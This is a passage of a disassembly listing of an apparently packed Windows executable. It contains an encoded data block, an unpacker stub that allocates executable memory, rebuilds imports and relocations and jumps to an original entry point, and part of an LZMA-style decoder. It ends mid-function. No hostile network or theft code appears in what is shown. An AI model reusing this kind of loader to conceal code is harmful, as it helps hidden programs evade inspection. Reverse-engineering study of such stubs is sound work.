dd 151BAF99h, 2FCFF731h, 0A8594164h, 13F780ADh, 47607AC3h
dd 932757F0h, 6E2B2D3h, 0FD862B97h, 5A731AC4h, 6F04D7FAh
dd 0AE272DBEh, 0FB2F70BFh
dd 2F46A0FBh, 1BB9600Bh, 976BB970h, 0D2E14836h, 89A5AA60h
dd 71D8FF07h, 0B53045C6h, 0D98E3525h, 0B9D0966Ah, 880092A6h
dd 61C8C9A0h, 8FF63E49h, 0B80113A4h, 9646FA7Fh, 6D3E7748h
dd 4E62F2FBh, 469A0247h, 0D7BE5521h, 0F8B6E530h, 0E3851A5Bh
dd 52630FA3h, 59D79B2Fh, 0B4452F0h, 0AD3BC947h, 0BFF6412Ah
dd 164EF1B4h, 0A4ADDAD1h, 4FB630BBh, 0AF764428h, 7CE8A100h
dd 0D9103CCh, 7D803CBFh, 0F05A62C7h, 0AE36A36Eh, 888833B2h
dd 0D0F4111h, 9FD1B742h, 61F2D275h, 5D5753CDh, 75CBB42Bh
dd 361CFFEBh, 800F8ADFh, 8F020183h, 53FFCF66h, 21864B47h
dd 1E9E73FDh, 0DD94A419h, 5D5899C0h, 7248416Ch, 0D5B59827h
dd 0AE93A4E0h, 0AAF23924h, 1364DC92h, 45C30470h, 699BC6F4h
dd 80D1514h, 5284D995h, 0D5B01352h, 1B503AA5h, 31A68DAAh
dd 392592Ch, 1AC2BEA5h, 0C315918Bh, 0D8EF7BEh, 17AB2785h
dd 0DA975F85h, 26F44D38h, 858548DCh, 0A1B420Fh, 0BAEE83A2h
dd 0F60E1E2Dh, 0DBB1C9E2h, 3CE48E36h, 785DC93Ah, 0DCCA6A32h
dd 2EE35D6Eh, 3A0124EFh, 73C35503h, 0C67B1A01h, 0DAEC2D7Eh
dd 0A2D1DC16h, 0AAD6C801h, 91A5A533h, 459A77F7h, 2143807h
dd 96782D2Dh, 0FC16D369h, 13DE68F0h, 3474AB3Fh, 5488EC19h
dd 0EAF25676h, 13291E57h, 0B716B92h, 4AA408AAh, 21DBE65Eh
dd 65BB841Ch, 0BCF1A101h, 160C8C06h, 351038FFh, 9DB0554Dh
dd 0B50D142Ch, 1E6CFC31h, 5C84A807h, 0A8B82C4Dh, 19AD0A61h
dd 2EBAFC8h, 0E90108E6h, 976D7B1Ah, 19E40618h, 18B8E20Ah
dd 3C2EC033h, 906D2F49h, 187B2A7Eh, 0DE768820h, 95181691h
dd 336B991Ch, 7CCED79Eh, 84E9DFB4h, 7B4D044Ah, 0AE36E407h
dd 101665B2h, 4685964Ah, 0D841FCEh, 85699C60h, 0CAFCA41Bh
dd 0EF8C9A6h, 63F64307h, 9A7B27FFh, 603A1AE3h, 9CD1BF48h
dd 5119E6DBh, 43D961Ah, 0C7FDC1A1h, 0CD35053Eh, 0F029E3C7h
dd 0BC16D8DCh, 0C677A252h, 0B37EBE97h, 520840F4h, 227FF3FCh
dd 2E5BB4B0h, 8DC2B1CBh, 0FB04FD2Fh, 200F7209h, 1BF2D401h
dd 0A478CDA6h, 7C93D96Ah, 898EC4F4h, 0DB2D6629h, 0F639D225h
dd 8836AF83h, 3D87C85Ch, 3E2F2375h, 7749B35Eh, 8CE75362h
dd 0E0B0EFA1h, 0BCC748FCh, 1A33BDA8h, 0A1686A4Fh, 4315ED84h
dd 0DA2CE0E4h, 725AF0C5h, 0E5EEBD27h, 0C00EBE76h, 0E6A971AAh
dd 3523EF13h, 30E461FAh, 37598D4h, 51948491h, 6C923FFAh
dd 0F2B28615h, 1FF83B47h, 40AD5299h, 5FE26685h, 97EE45E1h
dd 0B3E5A1E9h, 55514750h, 0BC433ED5h, 0ECAEDA1h, 3DF08C56h
dd 8ADA374h, 0CB4F98BAh, 0D0F647BEh, 93CA390Ah, 46CA60ABh
dd 4968A787h, 214F12C5h, 4DA857C8h, 41464EDFh, 0D41535ACh
dd 62B93690h, 6D6B1B82h, 30FF19ECh, 2A6CBCC5h, 0EF119562h
dd 0AD28E983h, 97105EDh, 21E3AE3Dh, 0EA297C43h, 16AB054h
dd 0C2C3CA77h, 0F01BE2D1h, 9CC796FCh, 648E310Ah, 0FF81ACC0h
dd 7D8FDC0Bh, 0AE8A25E5h, 296B5371h, 0BD7B8D2Ch, 0B06A8B5Ah
dd 6E8E9929h, 943025F8h, 90189255h, 0A61A4FA9h, 0B075097Eh
dd 0BBB071F7h, 5A27B17Eh, 0D6931F87h, 0BA1392BEh, 8903C19h
dd 140F7538h, 66BCF926h, 6021BA48h, 0BBB7F5A2h, 5EFFEA9Ch
dd 65BCF185h, 0E1E6AF0Eh, 78F98D50h, 24556265h, 82FA5F02h
dd 0C2A275AEh, 49B6AB12h, 1BEA99Ch, 2BC55DAAh, 0BDE90CD3h
dd 0C46E3EF9h, 6326ED8h, 0CEEBFF47h, 824AE5EFh, 0E82D6DF5h
dd 0A20B3C30h, 71AF4503h, 1C783139h, 8E1EBA9h, 0C622A822h
dd 5B15A8DFh, 94AE863Bh, 0A22F6A40h, 75439E46h, 8BCC3973h
dd 1B354125h, 0CED1E6FAh, 0D2E12023h, 0BF30ACB1h, 5B0C05DAh
dd 39918DC7h, 0DD9EB6A4h, 3234369Ah, 0F6979C6Ch, 30358716h
dd 0B919826Ch, 7CD52D23h, 0CE37DE8Dh, 58605724h, 11164565h
dd 18A8C000h, 26D21FADh, 4F8F6402h, 0EB6F19B2h, 4E612538h
dd 4A9900F2h, 7FA12056h, 0D0854718h, 589E870Fh, 9E19A15Ah
dd 87309A91h, 89085F77h, 0CA82C94Dh, 7536D02Fh, 449274D1h
dd 4ED3D9BDh, 877CEE9Dh, 0FA13EA03h, 50AD2F37h, 1DFF9504h
dd 0F9E0C456h, 0CA8DBE03h, 0C53D2864h, 0E80F955Dh, 5CCA290Ah
dd 94A27CCAh, 0B2B1C53Ah, 0AAAA02E9h, 0C9917A58h, 599FB949h
dd 3BD2F4E0h, 0DB76BCC8h, 6EA98E15h, 0DD91C600h, 0EF13AFB0h
dd 0B865B126h, 6FA25D86h, 9828C08Ch, 0C67B1674h, 77E4279Ah
dd 0E75CA228h, 840F9C30h, 8A9A8D14h, 0EA49BEB5h, 872CC8E0h
dd 0F7A2A692h, 3509024Fh, 0DC96EB25h, 0DE9CD16Fh, 77F74BA7h
dd 4E0309C9h, 0DF6C4841h, 0A6BD25DDh, 6B9C932h, 4A20D3F5h
dd 0AF64E158h, 99237542h, 7DCE6E19h, 0D423308Eh, 0A38DC5E0h
dd 0D391B8BFh, 7DE7D34h, 7684ED54h, 0D46A9EF0h, 0E9421DB1h
dd 0F19A9EC6h, 0AAB45493h, 0F2FD57F1h, 0B5EBC53h, 0B134684h
dd 0C0511DCh, 3E0A5773h, 2DE8340h, 40ABC1CFh, 730B37FCh
dd 0A01F4013h, 3AA87A7Eh, 0F805EA89h, 91D72CB5h, 0A70EA10Ch
dd 9A632DD7h, 0B9AD1045h, 8DF82E7Ch, 0C5F92D44h, 0D801ADFDh
dd 0E96DC415h, 135E6891h, 7D9CDDC6h, 5562889Dh, 0B0510EB5h
dd 0F9687A34h, 0EDF13C65h, 95609DF8h, 0B5F9376Ah, 0AA224177h
dd 0CB767B03h, 8956C9DDh, 9066A6A9h, 3F40795h, 0C87EDFA8h
dd 0CF3E1F5Ah, 32948F25h, 0F4E070CAh, 8C1440C0h, 798777C0h
dd 0F09C276Fh, 1C2C1B8Eh, 0F3E811FEh, 15E5BDFDh, 0A7BBB0D8h
dd 252C4528h, 41588DDEh, 8BF7A460h, 0DA3F234Ah, 9D52A1B2h
dd 3B4D0C8Fh, 0DAA10D96h, 686F7089h, 79249E13h, 917E002Dh
dd 88331BFh, 979257F1h, 9D405CF9h, 0B59AFFFFh, 0AABBh
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_490E6E: ; CODE XREF: start+272j
pusha
call $+5
mov ebp, [esp+24h+var_24]
add esp, 4
lea esi, [ebp+0A5Ah]
lea ebx, [ebp+240h]
xor edi, edi
call sub_491010
push 40h
push 1000h
push 0C2000h
push 0
call dword ptr [ebp+9EBh]
mov [ebp+0A3Ah], eax
jmp short loc_490EBD
; ---------------------------------------------------------------------------
loc_490EA9: ; CODE XREF: start-2292j
pusha
push dword ptr [ebp+0A3Ah]
push dword ptr [edi+esi]
push dword ptr [edi+esi+4]
call ebx ; WideCharToMultiByte
popa
add edi, 8
loc_490EBD: ; CODE XREF: start-22ACj
cmp dword ptr [edi+esi], 0
jnz short loc_490EA9
lea esi, [edi+esi+4]
push ebx
push 40h
push 1000h
push 5FDh
push 0
call dword ptr [ebp+9EBh]
mov [ebp+0A56h], eax
pop ebx
pusha
push dword ptr [ebp+0A3Ah]
push esi
push dword ptr [ebp+0A56h]
call ebx ; WideCharToMultiByte
popa
mov esi, [ebp+0A56h]
mov eax, esi
jmp short loc_490EFF
; ---------------------------------------------------------------------------
loc_490EFE: ; CODE XREF: start-2251j
inc eax
loc_490EFF: ; CODE XREF: start-2257j
cmp byte ptr [eax], 1
jnz short loc_490EFE
inc eax
mov edi, [eax]
call sub_490FF3
add eax, 4
mov [ebp+0A52h], eax
jmp loc_490FB1
; ---------------------------------------------------------------------------
loc_490F1A: ; CODE XREF: start-219Fj
push esi
call dword ptr [ebp+9E3h]
mov [ebp+0A4Eh], eax
test eax, eax
jz loc_490FF1
mov eax, esi
jmp short loc_490F92
; ---------------------------------------------------------------------------
loc_490F33: ; CODE XREF: start-21C3j start-21BEj
mov eax, [ebp+0A52h]
mov eax, [eax]
test eax, 80000000h
jz short loc_490F56
xor eax, 80000000h
push eax
mov eax, [ebp+0A52h]
mov dword ptr [eax], 202020h
jmp short loc_490F5C
; ---------------------------------------------------------------------------
loc_490F56: ; CODE XREF: start-2213j
push dword ptr [ebp+0A52h]
loc_490F5C: ; CODE XREF: start-21FFj
push dword ptr [ebp+0A4Eh]
call dword ptr [ebp+9E7h]
test eax, eax
jz loc_490FF1
mov [edi], eax
add edi, 4
mov eax, [ebp+0A52h]
jmp short loc_490F7E
; ---------------------------------------------------------------------------
loc_490F7D: ; CODE XREF: start-21D2j
inc eax
loc_490F7E: ; CODE XREF: start-21D8j
cmp byte ptr [eax], 0
jnz short loc_490F7D
inc eax
mov [ebp+0A52h], eax
cmp word ptr [eax+2], 8000h
jz short loc_490F33
loc_490F92: ; CODE XREF: start-2222j
cmp byte ptr [eax], 0
jnz short loc_490F33
jmp short loc_490F9A
; ---------------------------------------------------------------------------
loc_490F99: ; CODE XREF: start-21B6j
inc esi
loc_490F9A: ; CODE XREF: start-21BCj
cmp byte ptr [esi], 0
jnz short loc_490F99
inc esi
inc eax
mov edi, [eax]
call sub_490FF3
add eax, 4
mov [ebp+0A52h], eax
loc_490FB1: ; CODE XREF: start-223Ej
cmp byte ptr [esi], 1
jnz loc_490F1A
push 4000h
push 5FDh
push dword ptr [ebp+0A56h]
call dword ptr [ebp+9EFh]
push 4000h
push 0C2000h
push dword ptr [ebp+0A3Ah]
call dword ptr [ebp+9EFh]
call sub_491040
popa
jmp sub_40D514
; ---------------------------------------------------------------------------
loc_490FF1: ; CODE XREF: start-222Aj start-21E9j
popa
retn
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_490FF3 proc near ; CODE XREF: start-224Cp start-21B0p
arg_24 = dword ptr 28h
push eax
push ebx
mov eax, [ebp+0A46h]
or eax, eax
jz short loc_49100D
mov eax, [ebp+0A3Eh]
mov ebx, [esp+8+arg_24]
sub edi, eax
add edi, ebx
loc_49100D: ; CODE XREF: sub_490FF3+Aj
pop ebx
pop eax
retn
sub_490FF3 endp
; =============== S U B R O U T I N E =======================================
sub_491010 proc near ; CODE XREF: start-22CBp
arg_24 = dword ptr 28h
pusha
mov eax, [ebp+0A46h]
or eax, eax
jz short loc_49103E
mov eax, [ebp+0A3Eh]
mov ebx, [esp+20h+arg_24]
jmp short loc_491038
; ---------------------------------------------------------------------------
loc_491027: ; CODE XREF: sub_491010+2Cj
sub [edi+esi+4], eax
add [edi+esi+4], ebx
sub [edi+esi], eax
add [edi+esi], ebx
add edi, 8
loc_491038: ; CODE XREF: sub_491010+15j
cmp dword ptr [edi+esi], 0
jnz short loc_491027
loc_49103E: ; CODE XREF: sub_491010+9j
popa
retn
sub_491010 endp
; =============== S U B R O U T I N E =======================================
sub_491040 proc near ; CODE XREF: start-216Dp
arg_24 = dword ptr 28h
pusha
mov esi, [ebp+0A46h]
or esi, esi
jz short loc_4910B2
mov edi, [ebp+0A3Eh]
mov eax, [esp+20h+arg_24]
mov [ebp+0A42h], eax
cmp eax, edi
jz short loc_4910B2
add esi, eax
jmp short loc_4910AD
; ---------------------------------------------------------------------------
loc_491063: ; CODE XREF: sub_491040+70j
mov edx, [esi]
mov eax, [esi+4]
mov [ebp+0A4Ah], eax
add [ebp+0A4Ah], esi
add esi, 8
jmp short loc_4910A5
; ---------------------------------------------------------------------------
loc_491079: ; CODE XREF: sub_491040+6Bj
movzx eax, word ptr [esi]
mov ebx, eax
shr ebx, 0Ch
mov ecx, ebx
imul ebx, 1000h
sub eax, ebx
add eax, edx
add eax, [ebp+0A42h]
cmp ecx, 3
jnz short loc_4910A2
sub [eax], edi
mov ecx, [ebp+0A42h]
add [eax], ecx
loc_4910A2: ; CODE XREF: sub_491040+56j
add esi, 2
loc_4910A5: ; CODE XREF: sub_491040+37j
cmp esi, [ebp+0A4Ah]
jb short loc_491079
loc_4910AD: ; CODE XREF: sub_491040+21j
cmp dword ptr [esi], 0
jnz short loc_491063
loc_4910B2: ; CODE XREF: sub_491040+9j
; sub_491040+1Dj
popa
retn
sub_491040 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 30h
xor eax, eax
inc eax
mov edi, [ebp+10h]
mov [ebp-14h], eax
mov [ebp-1Ch], eax
mov [ebp-18h], eax
mov [ebp-28h], eax
mov eax, 400h
xor edx, edx
mov ecx, 30736h
rep stosd
mov eax, [ebp+0Ch]
push 5
mov [ebp-8], eax
mov [ebp-10h], edx
mov [ebp-1], dl
mov [ebp-0Ch], edx
mov [ebp+0Ch], edx
or eax, 0FFFFFFFFh
pop ecx
loc_4910F2: ; CODE XREF: .nsp0:00491107j
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
inc dword ptr [ebp-8]
dec ecx
mov [ebp+0Ch], edx
jnz short loc_4910F2
loc_491109: ; CODE XREF: .nsp0:0049129Bj
; .nsp0:004912AAj ...
mov esi, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
and esi, 3
shl ecx, 4
add ecx, esi
cmp eax, 1000000h
lea edi, [edx+ecx*4]
jnb short loc_49113B
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_49113B: ; CODE XREF: .nsp0:00491122j
mov ecx, [edi]
mov ebx, eax
shr ebx, 0Bh
imul ebx, ecx
cmp [ebp+0Ch], ebx
jnb loc_4912B8
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
movzx ecx, byte ptr [ebp-1]
imul ecx, 0C00h
xor edx, edx
mov [edi], esi
mov esi, [ebp+10h]
inc edx
cmp dword ptr [ebp-0Ch], 7
lea ecx, [esi+ecx+1CD8h]
mov eax, ebx
mov [ebp-20h], ecx
jl loc_491221
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
mov esi, [ebp+8]
movzx ecx, byte ptr [esi+ecx]
mov [ebp-24h], ecx
loc_491192: ; CODE XREF: .nsp0:00491219j
shl dword ptr [ebp-24h], 1
mov esi, [ebp-24h]
mov edi, [ebp-20h]
and esi, 100h
cmp eax, 1000000h
lea ecx, [edx+esi]
lea ecx, [edi+ecx*4+400h]
mov [ebp-2Ch], ecx
jnb short loc_4911CC
mov ebx, [ebp-8]
mov edi, [ebp+0Ch]
movzx ebx, byte ptr [ebx]
shl edi, 8
or edi, ebx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edi
loc_4911CC: ; CODE XREF: .nsp0:004911B3j
mov ecx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_4911FA
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-2Ch]
add edx, edx
test esi, esi
mov [ecx], edi
jnz loc_49127A
jmp short loc_491213
; ---------------------------------------------------------------------------
loc_4911FA: ; CODE XREF: .nsp0:004911D9j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
test esi, esi
mov edi, [ebp-2Ch]
mov [edi], ecx
lea edx, [edx+edx+1]
jz short loc_49127A
loc_491213: ; CODE XREF: .nsp0:004911F8j
cmp edx, 100h
jl loc_491192
jmp short loc_491282
; ---------------------------------------------------------------------------
loc_491221: ; CODE XREF: .nsp0:0049117Cj
; .nsp0:00491280j
cmp eax, 1000000h
mov ecx, [ebp-20h]
lea edi, [ecx+edx*4]
jnb short loc_491245
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_491245: ; CODE XREF: .nsp0:0049122Cj
mov ecx, [edi]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_491268
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi], esi
add edx, edx
jmp short loc_49127A
; ---------------------------------------------------------------------------
loc_491268: ; CODE XREF: .nsp0:00491252j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi], ecx
lea edx, [edx+edx+1]
loc_49127A: ; CODE XREF: .nsp0:004911F2j
; .nsp0:00491211j ...
cmp edx, 100h
jl short loc_491221
loc_491282: ; CODE XREF: .nsp0:0049121Fj
mov esi, [ebp-10h]
mov ecx, [ebp+8]
inc dword ptr [ebp-10h]
cmp dword ptr [ebp-0Ch], 4
mov [ebp-1], dl
mov [ecx+esi], dl
jge short loc_4912A0
and dword ptr [ebp-0Ch], 0
jmp loc_491109
; ---------------------------------------------------------------------------
loc_4912A0: ; CODE XREF: .nsp0:00491295j
cmp dword ptr [ebp-0Ch], 0Ah
jge short loc_4912AF
sub dword ptr [ebp-0Ch], 3
jmp loc_491109
; ---------------------------------------------------------------------------
loc_4912AF: ; CODE XREF: .nsp0:004912A4j
sub dword ptr [ebp-0Ch], 6
jmp loc_491109
; ---------------------------------------------------------------------------
loc_4912B8: ; CODE XREF: .nsp0:00491148j
sub [ebp+0Ch], ebx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov edx, [ebp-0Ch]
sub eax, ebx
cmp eax, 1000000h
mov [edi], ecx
mov ecx, [ebp+10h]
lea edx, [ecx+edx*4+300h]
jnb short loc_4912F1
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4912F1: ; CODE XREF: .nsp0:004912D8j
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_491343
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
cmp dword ptr [ebp-0Ch], 7
mov ecx, [ebp-18h]
mov [ebp-28h], ecx
mov ecx, [ebp-1Ch]
mov [ebp-18h], ecx
mov ecx, [ebp-14h]
mov [edx], edi
mov [ebp-1Ch], ecx
jge short loc_49132E
and dword ptr [ebp-0Ch], 0
jmp short loc_491335
; ---------------------------------------------------------------------------
loc_49132E: ; CODE XREF: .nsp0:00491326j
mov dword ptr [ebp-0Ch], 3
loc_491335: ; CODE XREF: .nsp0:0049132Cj
mov ecx, [ebp+10h]
add ecx, 0CC8h
jmp loc_49152C
; ---------------------------------------------------------------------------
loc_491343: ; CODE XREF: .nsp0:004912FEj
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edi, [edx+ecx*4+330h]
jnb short loc_49137C
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_49137C: ; CODE XREF: .nsp0:00491363j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb loc_491430
mov ebx, 800h
sub ebx, ecx
shr ebx, 5
add ebx, ecx
mov ecx, [ebp-0Ch]
add ecx, 0Fh
shl ecx, 4
mov [edi], ebx
mov edi, [ebp+10h]
add ecx, esi
cmp edx, 1000000h
mov eax, edx
lea edi, [edi+ecx*4]
jnb short loc_4913D1
mov ecx, [ebp+0Ch]
shl edx, 8
mov eax, edx
mov edx, [ebp-8]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4913D1: ; CODE XREF: .nsp0:004913B6j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb short loc_49141D
mov esi, [ebp-10h]
mov eax, edx
mov edx, 800h
sub edx, ecx
shr edx, 5
add edx, ecx
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
mov [edi], edx
mov edx, [ebp+8]
setnl cl
lea ecx, [ecx+ecx+9]
mov [ebp-0Ch], ecx
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
inc dword ptr [ebp-10h]
mov cl, [edx+ecx]
mov [ebp-1], cl
mov [edx+esi], cl
jmp loc_491109
; ---------------------------------------------------------------------------
loc_49141D: ; CODE XREF: .nsp0:004913DEj
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov [edi], ecx
jmp loc_491510
; ---------------------------------------------------------------------------
loc_491430: ; CODE XREF: .nsp0:00491389j
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
cmp eax, 1000000h
mov edx, [ebp+10h]
mov [edi], ecx
mov ecx, [ebp-0Ch]
lea edx, [edx+ecx*4+360h]
jnb short loc_491469
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_491469: ; CODE XREF: .nsp0:00491450j
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_49148D
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-1Ch]
mov [edx], edi
jmp short loc_491507
; ---------------------------------------------------------------------------
loc_49148D: ; CODE XREF: .nsp0:00491476j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edx, [edx+ecx*4+390h]
jnb short loc_4914C6
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4914C6: ; CODE XREF: .nsp0:004914ADj
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_4914EA
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-18h]
mov [edx], edi
jmp short loc_491501
; ---------------------------------------------------------------------------
loc_4914EA: ; CODE XREF: .nsp0:004914D3j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
mov [edx], ecx
mov edx, [ebp-18h]
mov ecx, [ebp-28h]
mov [ebp-28h], edx
loc_491501: ; CODE XREF: .nsp0:004914E8j
mov edx, [ebp-1Ch]
mov [ebp-18h], edx
loc_491507: ; CODE XREF: .nsp0:0049148Bj
mov edx, [ebp-14h]
mov [ebp-1Ch], edx
mov [ebp-14h], ecx
loc_491510: ; CODE XREF: .nsp0:0049142Bj
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
setnl cl
dec ecx
and ecx, 0FFFFFFFDh
add ecx, 0Bh
mov [ebp-0Ch], ecx
mov ecx, [ebp+10h]
add ecx, 14D0h
loc_49152C: ; CODE XREF: .nsp0:0049133Ej
cmp eax, 1000000h
jnb short loc_49154A
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_49154A: ; CODE XREF: .nsp0:00491531j
mov edx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_491576
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
and dword ptr [ebp-24h], 0
mov [ecx], edi
lea ecx, [ecx+esi+8]
jmp short loc_4915D4
; ---------------------------------------------------------------------------
loc_491576: ; CODE XREF: .nsp0:00491557j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, edx
shr edi, 5
sub edx, edi
cmp eax, 1000000h
mov [ecx], edx
jnb short loc_4915A2
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_4915A2: ; CODE XREF: .nsp0:00491589j
mov edx, [ecx+4]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_4915DD
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
mov [ecx+4], edi
lea ecx, [ecx+esi+208h]
mov dword ptr [ebp-24h], 8
loc_4915D4: ; CODE XREF: .nsp0:00491574j
mov dword ptr [ebp-20h], 3
jmp short loc_491600
; ---------------------------------------------------------------------------
loc_4915DD: ; CODE XREF: .nsp0:004915B0j
sub [ebp+0Ch], edi
mov esi, edx
shr esi, 5
sub edx, esi
sub eax, edi
mov [ecx+4], edx
add ecx, 408h
mov dword ptr [ebp-24h], 10h
mov dword ptr [ebp-20h], 8
loc_491600: ; CODE XREF: .nsp0:004915DBj
mov edx, [ebp-20h]
xor ebx, ebx
mov [ebp-2Ch], edx
inc ebx
loc_491609: ; CODE XREF: .nsp0:00491662j
cmp eax, 1000000h
jnb short loc_491627
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_491627: ; CODE XREF: .nsp0:0049160Ej
mov edx, [ecx+ebx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_49164C
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ecx+ebx*4], esi
add ebx, ebx
jmp short loc_49165F
; ---------------------------------------------------------------------------
loc_49164C: ; CODE XREF: .nsp0:00491635j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
mov [ecx+ebx*4], edx
lea ebx, [ebx+ebx+1]
loc_49165F: ; CODE XREF: .nsp0:0049164Aj
dec dword ptr [ebp-2Ch]
jnz short loc_491609
mov ecx, [ebp-20h]
xor edx, edx
inc edx
mov esi, edx
shl esi, cl
mov ecx, [ebp-24h]
sub ecx, esi
add ebx, ecx
cmp dword ptr [ebp-0Ch], 4
mov [ebp-30h], ebx
jge loc_491816
add dword ptr [ebp-0Ch], 7
cmp ebx, 4
jge short loc_49168F
mov ecx, ebx
jmp short loc_491692
; ---------------------------------------------------------------------------
loc_49168F: ; CODE XREF: .nsp0:00491689j
push 3
pop ecx
loc_491692: ; CODE XREF: .nsp0:0049168Dj
mov esi, [ebp+10h]
shl ecx, 8
lea edi, [esi+ecx+6C0h]
mov dword ptr [ebp-2Ch], 6
loc_4916A6: ; CODE XREF: .nsp0:004916FFj
cmp eax, 1000000h
jnb short loc_4916C4
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4916C4: ; CODE XREF: .nsp0:004916ABj
mov ecx, [edi+edx*4]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_4916E9
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi+edx*4], esi
add edx, edx
jmp short loc_4916FC
; ---------------------------------------------------------------------------
loc_4916E9: ; CODE XREF: .nsp0:004916D2j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi+edx*4], ecx
lea edx, [edx+edx+1]
loc_4916FC: ; CODE XREF: .nsp0:004916E7j
dec dword ptr [ebp-2Ch]
jnz short loc_4916A6
sub edx, 40h
cmp edx, 4
mov edi, edx
jl loc_4917E7
mov ecx, edx
sar ecx, 1
and edi, 1
dec ecx
or edi, 2
cmp edx, 0Eh
mov [ebp-14h], ecx
jge short loc_491734
shl edi, cl
mov ecx, edi
